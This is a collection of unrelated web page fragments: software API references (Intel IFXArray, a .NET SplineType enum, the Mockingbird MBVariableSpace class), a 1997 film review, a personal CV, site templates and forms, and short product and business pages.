( |
U32 |
preallocation |
) |
[private, virtual] |
|
|
template<class T> |
| virtual void IFXArray< T >::ResetElement |
( |
T & |
element |
) |
[inline, virtual] |
|
|
|
Function that can be provided by a derived class to initialize an element to state as though it were just constructed.
This permits reuse of array space without repetitive allocations.
Reimplemented in IFXDeque< T >, and IFXDeque< IFXMixerWrap >. |
|
template<class T> |
| IFXINLINE void IFXArray< T >::Resize |
( |
U32 |
needed |
) |
[private, virtual] |
|
© 1999 - 2006 Intel Corporation. All rights reserved.
* Other names and brands may be claimed as the property of others.
|
|


IndieCrafters is a group dedicated to showcasing smaller indie Minecraft servers.
Find a ServerWe want to encourage and heighten indie Minecraft servers. Smaller servers can offer a more unique experience from the larger servers, and we want to help more people find that experience!
Get Started!Our themes are updated regularly to keep them bug free!
All dependencies are kept current to keep things fresh.
You can use this design as is, or you can make changes!
Is it really open source if it's not made with love?
Fill out this form to submit your server for review! Once it gets accepted your server will show up under the Servers page!


This is a demonstration page for much-text, a web component for text editors.


{% extends "tpl.layout.html" %} {% block content %}
Immediately adjacent to the CN Tower is Rogers Centre, a massive domed sports arena. The unique design includes a roof, which slides back, allowing it to be opened in favorable weather. This mega-structure, completed in 1989, is Toronto's answer to the ambitious Olympic Stadium built by its arch rival, Montréal. Rogers Centre can accommodate many thousands of spectators and is a venue for every kind of sport, baseball and football in particular, as well as for rock and pop concerts. The center also offers one hour guided tours with a behind-the-scenes look at the facility.


my name is Ahmad Abuteifor and i am from alkarak i am 23 years old
My Education
i got bachelors Mechanical engineering form mutah university 2016-2021 i have been in usa for about 4 monthes in cultural exchange summer 2019MY Experience
- Al-karak directorate of works (majore of mechanical engineering)
- woked in park in usa
- worked in my family store
- Jumanji
- Aquaman
- venom
- mission-impossible
- fast and furies
- john wick
- angle has fallen
- avengers
- kingsman
- spiderman
MY TOP TEN MOVEIS


SHE'S SO LOVELY (1997)
A film review by Steve Kong Copyright 1997 Steve Kong
In no way is she so lovely, both in physical looks and personality. Sean Penn and wife Robin Wright Penn star in this Nick Cassavetes' film written by his late father John Cassavetes.
She So Lovely is a love story by some means, but it's more of a character study of two characters, Sean Penn's Eddie and Robin Wright Penn's Maureen. Eddie and Maureen are married, and Eddie is often a very jealous man, who has violent outbreaks. Maureen is raped early on in the film and when Eddie finds outs, we know what's going to happen. So does Maureen, she calls the authorities on Eddie, and he is caught. Eddie is put into an institution and Maureen moves on in life.
John Travolta's name is featured prominently when this film is advertised, and that was one of the reasons that I went to see the film. Unfortunately, Travolta shows up very late in the film, and spends only thirty or so minutes on screen. Compounding this, Travolta really had nothing to do but drink, smoke, and being angry. Nick Cassavetes, whom you saw as the bald gangster in this summer's Face/Off, takes the reigns, and directs his late father's script. Nick does a good job of keeping the film moving along, but the script is somewhat weak. The last half seems tacked on and adlibbed.
Sean Penn is the biggest reason to see She's So Lovely. He does a great job with his role going through the many stages of his character, from caring and loving to angry and violent to sedated and free going. The "she" that is referred to in the title is Maureen. Robin Wright does a good job with her character also, inserting all sorts of ticks and gestures to the character. Her character is filmed the opposite of lovely, often filmed to look pare, skinny, and plain. Lovely she's not. And as you get to know Maureen more, she's not beautiful inside, often drinking too much, smoking too much, and leaving responsibilities.
She's So Lovely is definitely not a date movie, it is often depressing. And though there is definitely love between Eddie and Maureen, we get to know them well, and in the end it doesn't matter if they are in love or not, we just don't like them. She's So Lovely is not a film that I can say that I can recommend. But, it is also not a film that I can say to pass up. Catch this one on video when it comes out.
!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=! steve kong<EMAIL_ADDRESS>spy on me at: http://home.earthlink.net/~boiled/steve-cam.html movie reviews: http://www.geocities.com/Hollywood/Lot/2259/ "try not. do. or do not. there is no try." - yoda !=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!=!
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Login
Sign Up
Please, enter your email and password for login.
E-mail
Password
Please, enter your email, password and password confirmation for sign up.
E-mail
Password
Confirm password


<script src="RGraph.common.core.js"></script> <script src="RGraph.common.key.js"></script> <script src="RGraph.pie.js"></script>Put this where you want the chart to show up:
<canvas id="cvs" width="650" height="350"> [No canvas support] </canvas>This is the code that generates the chart - it should be placed AFTER the canvas tag(s):


This email is sent to {{ user.email }} and is part of our onboarding series.
Unsubscribe on Settings
{{ render_text("Hi " + user.name) }}
{{ render_text("Do you know you can send emails to anyone from your alias?") }}
{{ render_text("This Youtube video quickly walks you through the steps:") }}
{{ render_text('https://youtu.be/VsypF-DBaow') }}
{{ render_text("Here are the steps:") }}
{{ render_text("1. First click Send Email on your alias you want to send email from.") }}
{{ render_text('') }}
{{ render_text("2. Enter your contact email, this will generate a reverse-alias.") }}
{{ render_text('') }}
{{ render_text("3. Use this reverse-alias instead of your contact email.") }}
{{ render_text('') }}
{{ render_text("4. Your contact will receive this email from your alias.") }}
{{ render_text('') }}
{{ render_text("As usual, let me know if you have any question by replying to this email.") }}
{% endblock %}


Send Us Your Thoughts!
We will only contact you if we have questions - We promise!.
Email Adress:
Comments:


enum: SplineType
Namespace: B3
Assembly: B3.Mathematics.dll
An enumeration for the types of interpolations a spline should do.
Quick Links
Compact Summary
Static Fields
| Modifier / Type | Name and Description |
|---|---|
| const SplineType |
CatmullRom
Tells the spline that all interpolations between points should be Catmull-Rom spline interpolations. |
| const SplineType |
Linear
Tells the spline that all interpolations between points should be linear. |
Methods
| Modifier / Type | Name and Description |
|---|---|
| virtual int |
CompareTo(object target)
Compares this instance to a specified object and returns an indication of their relative values. (Inherited from enum) |
| override bool |
Equals(object obj)
Returns a value indicating whether this instance is equal to a specified object. (Inherited from enum) |
| protected virtual void |
Finalize()
Allows an object to try to free resources and perform other cleanup operations before it is reclaimed by garbage collection. (Inherited from object) |
| override int |
GetHashCode()
Returns the hash code for the value of this instance. (Inherited from enum) |
| Type |
GetType()
Gets the Type of the current instance. (Inherited from object) |
| virtual TypeCode |
GetTypeCode()
Returns the type code of the underlying type of this enumeration member. (Inherited from enum) |
| bool |
HasFlag(enum flag)
Determines whether one or more bit fields are set in the current instance. (Inherited from enum) |
| protected object |
MemberwiseClone()
Creates a shallow copy of the current Object. (Inherited from object) |
| override string |
ToString()
Converts the value of this instance to its equivalent string representation. (Inherited from enum) |
| virtual string |
ToString(string format, IFormatProvider provider)
This method overload is obsolete; use ToString. (Inherited from enum) |
| string |
ToString(string format)
Converts the value of this instance to its equivalent string representation using the specified format. (Inherited from enum) |
| virtual string |
ToString(IFormatProvider provider)
This method overload is obsolete; use ToString. (Inherited from enum) |
Static Fields
CatmullRom
Tells the spline that all interpolations between points should be Catmull-Rom spline interpolations.
public const SplineType CatmullRom = 1;
Linear
Tells the spline that all interpolations between points should be linear.
public const SplineType Linear = 0;
Methods
CompareTo(object target)
Compares this instance to a specified object and returns an indication of their relative values.
[System.Runtime.CompilerServices.NullableContextAttribute(2)]
public virtual int CompareTo(object target);
Parameters
An object to compare, or null.
Returns
A signed number that indicates the relative values of this instance and target.
Value
Meaning
Less than zero
The value of this instance is less than the value of target.
Zero
The value of this instance is equal to the value of target.
Greater than zero
The value of this instance is greater than the value of target.
-or-
target is null.
Exceptions
target and this instance are not the same type.
This instance is null.
Equals(object obj)
Returns a value indicating whether this instance is equal to a specified object.
[System.Runtime.CompilerServices.NullableContextAttribute(2)]
public override bool Equals(object obj);
Parameters
An object to compare with this instance, or null.
Returns
true if obj is an enumeration value of the same type and with the same underlying value as this instance; otherwise, false.
Finalize()
Allows an object to try to free resources and perform other cleanup operations before it is reclaimed by garbage collection.
[System.Runtime.Versioning.NonVersionableAttribute]
protected virtual void Finalize();
GetHashCode()
Returns the hash code for the value of this instance.
public override int GetHashCode();
Returns
A 32-bit signed integer hash code.
GetType()
Gets the Type of the current instance.
[System.Runtime.CompilerServices.NullableContextAttribute(1)]
public Type GetType();
Returns
The exact runtime type of the current instance.
GetTypeCode()
Returns the type code of the underlying type of this enumeration member.
public virtual TypeCode GetTypeCode();
Returns
The type code of the underlying type of this instance.
Exceptions
The enumeration type is unknown.
HasFlag(enum flag)
Determines whether one or more bit fields are set in the current instance.
[System.Runtime.CompilerServices.IntrinsicAttribute]
public bool HasFlag(enum flag);
Parameters
An enumeration value.
Returns
true if the bit field or bit fields that are set in flag are also set in the current instance; otherwise, false.
Exceptions
flag is a different type than the current instance.
MemberwiseClone()
Creates a shallow copy of the current Object.
[System.Runtime.CompilerServices.NullableContextAttribute(1)]
protected object MemberwiseClone();
Returns
A shallow copy of the current Object.
ToString()
Converts the value of this instance to its equivalent string representation.
public override string ToString();
Returns
The string representation of the value of this instance.
ToString(string format, IFormatProvider provider)
This method overload is obsolete; use ToString.
[System.Runtime.CompilerServices.NullableContextAttribute(2)]
[System.ObsoleteAttribute("The provider argument is not used. Please use ToString(String).")]
public virtual string ToString(string format, IFormatProvider provider);
Parameters
Returns
The string representation of the value of this instance as specified by format.
Exceptions
format does not contain a valid format specification.
format equals "X", but the enumeration type is unknown.
ToString(string format)
Converts the value of this instance to its equivalent string representation using the specified format.
public string ToString(string format);
Parameters
A format string.
Returns
The string representation of the value of this instance as specified by format.
Exceptions
format contains an invalid specification.
format equals "X", but the enumeration type is unknown.
ToString(IFormatProvider provider)
This method overload is obsolete; use ToString.
[System.ObsoleteAttribute("The provider argument is not used. Please use ToString().")]
public virtual string ToString(IFormatProvider provider);
Parameters
(obsolete).
Returns
The string representation of the value of this instance.


{{extend "layout.html"}}
{{=T("This screen allows you to upload a collection of photos to the server.")}}


MBVariableSpace Class Reference
| Inherits from | MBEnvironmentLoader : NSObject |
|---|---|
| Conforms to | MBInstanceVendor |
| Declared in | MBVariableSpace.h |
Overview
The MBVariableSpace
class is responsible for loading variable declarations
from MBML files and for maintaining the current values of named Mockingbird
variables across the lifetime of the application.
Each MBEnvironment
will have an associated MBVariableSpace
that will be
consulted when Mockingbird expressions are evaluated. When a given environment
is active, its MBVariableSpace
will provide the values when variables are
referenced.
Getting the current variable space
+ instance
Retrieves the MBVariableSpace
instance associated with the currently-active
MBEnvironment
.
+ (nullable instancetype)instance
Return Value
The current variable space.
Declared In
MBVariableSpace.h
Accessing variable values
– objectForKeyedSubscript:
Returns the current value for the variable with the given name using the keyed subscripting notation.
- (nullable id)objectForKeyedSubscript:(nonnull NSString *)variableName
Parameters
variableName |
The name of the MBML variable whose value is to be retrieved. |
|---|
Return Value
The current variable value. Will return nil
if there is no
variable with the given name or if there was an error retrieving
the variable’s value.
Discussion
For example, the following Objective-C code:
NSString* addr = [MBVariableSpace instance][@"email"];
would set the value of the Objective-C string addr
to the value of the MBML
variable named email
.
Declared In
MBVariableSpace.h
– variableAsString:
Returns the current string value of the variable with the given name.
- (nullable NSString *)variableAsString:(nonnull NSString *)varName
Parameters
varName |
The name of the variable whose string value is being retrieved. |
|---|
Return Value
The current string value of the variable. Will return nil
if
there is no variable with the given name or if there was an error
retrieving the variable’s value.
Discussion
If the underlying variable value is not an NSString
, the value’s
description
method will be called to convert the value into a string.
Declared In
MBVariableSpace.h
– variableAsString:defaultValue:
Returns the current string value for the variable with the given name, or a default value if there is no available variable value.
- (nullable NSString *)variableAsString:(nonnull NSString *)varName defaultValue:(nullable NSString *)def
Parameters
varName |
The name of the variable whose string value is being retrieved. |
|---|---|
def |
A default value to return in cases where the method would
otherwise return |
Return Value
The current string value of the variable. Will return def
if
there is no variable with the given name or if there was an error
retrieving the variable’s value.
Discussion
If the underlying variable value is not an NSString
, the value’s
description
method will be called to convert the value into a string.
Declared In
MBVariableSpace.h
Modifying variable values
– setObject:forKeyedSubscript:
Sets a variable to the given value using the keyed subscripting notation.
- (void)setObject:(nullable id)value forKeyedSubscript:(nonnull NSString *)variableName
Parameters
value |
The value to set for the variable named |
|---|---|
variableName |
The name of the variable whose value is to be set. If the name represents a read-only variable, the call will be ignored and an error will be logged to the console. |
Discussion
For example, the following Objective-C code:
[MBVariableSpace instance][@"title"] = @"MBML";
would set the MBML variable named title
to the string “MBML
”.
Warning: An NSInvalidArgumentException
is raised if variableName
is nil
or is not an NSString
.
Declared In
MBVariableSpace.h
– pushVariable:value:
Pushes a new value onto the stack for the variable with the given name.
- (void)pushVariable:(nonnull NSString *)variableName value:(nullable id)value
Parameters
variableName |
The name of the variable whose value is to be set. If the name represents a read-only variable, the call will be ignored and an error will be logged to the console. |
|---|---|
value |
The value to set for the variable named |
Declared In
MBVariableSpace.h
– popVariable:
Pops the current value from the stack for the variable with the given name.
(The value of the variable prior to the previous call to pushVariable:value:
will be restored.)
- (nullable id)popVariable:(nonnull NSString *)varName
Parameters
varName |
The name of the variable whose value is to be set. If the name represents a read-only variable, the call will be ignored and an error will be logged to the console. |
|---|
Return Value
The value of the variable varName
that was popped from the stack.
If there were no stack values for the variable, nil
will be
returned.
Discussion
If there are no stack values for the variable, an error will be logged to the console.
Declared In
MBVariableSpace.h
– variableIsStack:
Determines if the variable with the given name is a stack variable.
- (BOOL)variableIsStack:(nonnull NSString *)varName
Parameters
varName |
The name of the variable. |
|---|
Return Value
YES
if varName
represents a stack variable; NO
otherwise.
Discussion
A stack variable is one for which you can successfully issue a popVariable:
request. Such a variable has had its value populated by pushVariable:value:
at least one more time than a corresponding popVariable:
has been issued.
Declared In
MBVariableSpace.h
– variableStackDepth:
Returns the stack depth of the given variable.
- (NSUInteger)variableStackDepth:(nonnull NSString *)varName
Parameters
varName |
The name of the variable whose stack depth is sought. |
|---|
Return Value
The stack depth of the variable varName
. A depth of 0
(zero)
indicates that the variable is not a stack variable (i.e.,
variableIsStack:
would return NO
and popVariable:
would
fail).
Discussion
The stack depth indicates the number of distinct values that are “hidden below”
the variable’s current value. The stack depth therefore also represents the
number of times popVariable:
can be successfully called for the variable.
Declared In
MBVariableSpace.h
– setMapVariable:mapKey:value:
Sets the value of a given key for the type="map"
variable with the specified
name. (This method will also operate on any variable whose value is of type
NSDictionary
.)
- (void)setMapVariable:(nonnull NSString *)varName mapKey:(nonnull NSString *)key value:(nullable id)val
Parameters
varName |
The name of the map variable whose key-value is being set. If the name represents a read-only variable, the call will be ignored and an error will be logged to the console. |
|---|---|
key |
The map key whose value is being set. |
val |
The new value for the given key. If |
Declared In
MBVariableSpace.h
– setListVariable:listIndex:value:
Sets the value of a given key for the type="list"
variable with the specified
name. (This method will also operate on any variable whose value is of type
NSArray
.)
- (void)setListVariable:(nonnull NSString *)varName listIndex:(NSUInteger)idx value:(nullable id)val
Parameters
varName |
The name of the list variable whose index-value is being set. If the name represents a read-only variable, the call will be ignored and an error will be logged to the console. |
|---|---|
idx |
The list index whose value is being set. If |
val |
The new value to set at the given index. If |
Declared In
MBVariableSpace.h
– unsetVariable:
Removes the current value of the variable with the specified name. Values on the variable stack will not be affected.
- (void)unsetVariable:(nonnull NSString *)varName
Parameters
varName |
The name of the variable whose value is to be unset. If the name represents a read-only variable, the call will be ignored and an error will be logged to the console. |
|---|
Declared In
MBVariableSpace.h
Constructing variable-related names
+ name:withSuffix:
Constructs a string for a variable-related name with the given suffix.
+ (nullable NSString *)name:(nullable NSString *)name withSuffix:(nullable NSString *)suffix
Parameters
name |
The name to use for the root of the returned string. If
|
|---|---|
suffix |
The optional suffix to apply to |
Return Value
If name
and suffix
are both non-nil
, the concatenation of
name
, “:
” and suffix
is returned. Otherwise, the value of the
name
parameter is returned.
Discussion
Calling this method with the name “Foo
” and the suffix “willBar
” would
return the string “Foo:willBar
”.
Declared In
MBVariableSpace.h
Accessing variable information
– isReadOnlyVariable:
Determines whether the variable with the given name is a read-only variable.
- (BOOL)isReadOnlyVariable:(nonnull NSString *)varName
Parameters
varName |
The name of the variable. |
|---|
Return Value
YES
if the variable named varName
is read-only; NO
otherwise.
Discussion
Read-only variables are marked as such in MBML or when they are declared
programmatically via declareVariable:
.
Certain types of variable declarations—such as those represented by
MBSingletonVariableDeclaration
and MBDynamicVariableDeclaration
—are always
read-only.
MBConcreteVariableDeclaration
s declared in MBML with a mutable="F"
attribute are read-only.
Otherwise, variables are not considered read-only.
Note that the read-only concept only applies to whether or not the
MBVariableSpace
will allow you to change the value through its interface.
In this way, even immutable objects such as NSArray
may be considered
read/write as far as the Mockingbird Data Environment goes.
Conversely, a NSMutableDictionary
, for example, may be declared as a
read-only Mockingbird variable, but the dictionary can still be mutated
directly.
Declared In
MBVariableSpace.h
Accessing variable declarations
– declareVariable:
Programmatically declares a variable.
- (BOOL)declareVariable:(nonnull MBVariableDeclaration *)declaration
Parameters
declaration |
An |
|---|
Return Value
YES
if the variable represented by declaration
was successfully
declared; NO
if an error occured.
Declared In
MBVariableSpace.h
– declarationForVariable:
Returns the MBVariableDeclaration
for the variable with the given name.
- (nullable MBVariableDeclaration *)declarationForVariable:(nonnull NSString *)varName
Parameters
varName |
The name of the variable whose declaration is being retrieved. |
|---|
Return Value
The declaration for varName
, or nil
if no declaration exists.
Discussion
Note that not all variables will have explicit declarations; only variables
declared in MBML or created programmatically using declareVariable:
will
have an associated MBVariableDeclaration
. Undeclared variables can be
created implicitly by being set directly using keyed subscripting and
other methods.
Declared In
MBVariableSpace.h
Accessing MBML functions
– declareFunction:
Programmatically declares an MBML function.
- (BOOL)declareFunction:(nonnull MBMLFunction *)function
Parameters
function |
An |
|---|
Return Value
YES
if function
was successfully declared; NO
if an error
occurred.
Declared In
MBVariableSpace.h
– functionNames
Returns the names of the currently-declared MBML functions.
- (nonnull NSArray *)functionNames
Return Value
An NSArray
containing the names of the declared MBML functions.
Declared In
MBVariableSpace.h
– functionWithName:
Returns the MBMLFunction
associated with the given name.
- (nullable MBMLFunction *)functionWithName:(nonnull NSString *)name
Parameters
name |
The name of the function whose |
|---|
Return Value
The MBMLFunction
, or nil
if there is no function declared having
the given name.
Declared In
MBVariableSpace.h
Observing changes to variables bound to `NSUserDefaults`
– addObserverForUserDefault:target:action:
Adds an observer to be notified of changes to the value of the Mockingbird
variable with the given NSUserDefaults
key name.
- (void)addObserverForUserDefault:(nonnull NSString *)userDefaultsName target:(nonnull id)observer action:(nonnull SEL)action
Parameters
userDefaultsName |
The |
|---|---|
observer |
The object to notify. |
action |
The method selector of |
Declared In
MBVariableSpace.h
– removeObserver:forUserDefault:
Stops an observer from being notified of changes to the value of the
Mockingbird variable with the given NSUserDefaults
key name.
- (void)removeObserver:(nonnull id)observer forUserDefault:(nonnull NSString *)userDefaultsName
Parameters
observer |
The observer to remove. |
|---|---|
userDefaultsName |
The |
Declared In
MBVariableSpace.h


Toggle navigation
Dionne Smith
Home
About
Projects
Women of CS
Contact
Explore
Create
Imagine
Contact me
Let me know if you have any questions.
Send Message


DEVELOPMENT and SUSTAINABILITY should always go hand in hand. The three PILLARS of Sustainability viz., Social, Environmental and Financial Performances decide the BOTTOM LINE of an Industry. Over the years , the Society and Environment gained momentum and prominence and started having a say in the running of the Industry. The Industries are left with no other choice than stay focused on these two aspects also apart from Financial aspects, which was the only focus then. Due to Globalization Pressures and International Commitments , the Environmental Legislations are undergoing lots of changes and are becoming more stringent with every passing day. The Society for its part, puts many challenges on the Industry in its own way. The legal issues arising out of various Enviro-Social factors are to be tackled swiftly and promptly.
Hence, this Consultancy Service has been launched with a motive to help and assist the Industries to resolve the Environmental
Challenges ,which will have a say on the bottom line.
Principal Environmental Consultant is an Engineer who won many coveted Awards from reputed Institutes and having 20+ years of rich hands on experience in the Environmental Field of Mining, Metal ,Cement & Power Sectors.
The Principal Environmental Consultant is an Engineer from Guindy Engineering College, Chennai, Tamilnadu with 20+ years of rich hands on experience in the field of Environment in Mining, Metal,Cement & Power Sectors out of which last 12 years ( as of Jan 2018) have been in Top Management & Corporate Level and won many recognitions for excellence from reputed institutes like TERI,CII and Institute of Directors in the form of coveted Environmental Awards.


Create scenes and playlists with the buttons at the bottom right.
Scenes are collections of files, which can be regular images or maps. The latter are images that you want to uncover slowly and send to the audience bit by bit.
Playlists are collections of audio tracks that will play in a loop until you stop them. Typically you have playlists for specific moods (action, suspense, epilogue, etc.) and/or specific scenes (creepy church, swamp, interrogation, etc.).
When you're ready to tell your story, hit "Narrate". An address will appear on screen: load it in a browser on one or more devices to be used by the audience, then hit "Start".


Welcome to this site!
ParallelGit is an open source project built upon JGit.
It provides your Java project with easy access to your local Git repository.
No one really reads the introduction on every open source project's website. So I am going to cut it short.
Here are the things you want to know:
- Git is not just for code. People use it to store and compare configuration files, audio samples, videos, datasets, images etc
- There is a Java implementation of Git client called JGit
- The JGit API is quite verbose (see examples below)
- Things are even more difficult when you have a bare repository
ParallelGit wrapped the JGit methods to provide a more friendly API for you to use.
| Create Repository |
| JGit |
ParallelGit |
|
|
|
| Create Branch |
| JGit |
ParallelGit |
|
|
|
| Read File |
| JGit |
ParallelGit |
|
|
|
| Copy File |
| JGit |
ParallelGit |
|
|
|
| Copy File |
| JGit |
ParallelGit |
|
|
|